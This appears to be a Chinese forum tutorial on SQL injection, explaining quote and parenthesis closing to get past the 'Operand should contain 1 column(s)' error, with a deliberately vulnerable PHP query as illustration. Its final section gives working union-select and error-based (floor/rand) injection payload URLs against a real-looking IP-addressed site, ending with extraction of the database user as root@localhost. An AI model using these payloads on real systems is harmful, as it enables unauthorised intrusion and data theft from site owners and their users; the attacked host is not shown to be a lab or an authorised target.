当调试一个注入点时:
and 1=1 正常
and 1=2 逻辑错误
加单引号显示语法错误:You have an error in your SQL syntax; check the…省略…
一个非常明显的注入漏洞,当要进一步使用union select
进行字段数猜解的时候,却出现了:Operand should contain 1 column(s)
要解决Operand should contain 1 column(s)
的问题,其实很简单,不了解SQL语句的前开后闭原则,就会发生这样的语法错误
列举一段代码分析一下
$id = $_GET['id']; $sql = "select * from news where xid = '$id'"; //假设xid为字符型
那么如果id取值为1,实际上数据库里被执行的SQL语句就是:
select * from news where xid = '1'
如果使用1'and'1'='1
将先前的1替换掉,那么数据库执行的语句就是:
select * from news where xid = '1'and'1'='1'
这就是前开后闭原则,有几个引号“开”,就要有几个引号“闭”,引号不成双,则会发生语法错误
上面的Operand should contain 1 column(s)问题就是SQL语句中多加了一个单引号以后出现的回显:
You have an error in your SQL syntax; check the manual that corresponds to your GBase server version for the right syntax to use near '')' at line 1
错误发生的')这个地方,单引号是我加的,括号怎么来的?
是原来系统的执行语句中的。
系统语句前面一个“(“,所以如果注入语句中不加”闭”,那么后面什么都不加就出现逻辑错误Operand should contain 1 column(s)
,而注入语句追加–
或者/*
就会出现语法错误
解决方法
.xxx?id=-1)+union+select+[n]+from+xxxx/*
在参数那里那个“)“闭合前面系统的括号,再使用”/*”注释掉后面的。看一个实例:
//文中此测试用注入点由习科论坛Scode Mao提供 http://218.69.93.71/ConInfoParticular.jsp?id=1' //出现语法错误,错误发生在') http://218.69.93.71/ConInfoParticular.jsp?id=1+and+1=1+union+select+1,2 //出现错误:Operand should contain 1 column(s) http://218.69.93.71/ConInfoParticular.jsp?id=-1)+union+select+1,2/* //出现字段数不一致的提醒:The used SELECT statements have a different number of columns http://218.69.93.71/ConInfoParticular.jsp?id=-1)+union+select+1+from+(select+count(*),concat(floor(rand(0)*2),(select+user()+from+information_schema.columns+where+table_schema=database()+limit+2,1))a+from+information_schema.tables+group+by+a)b/* //回显user()参数为root@localhost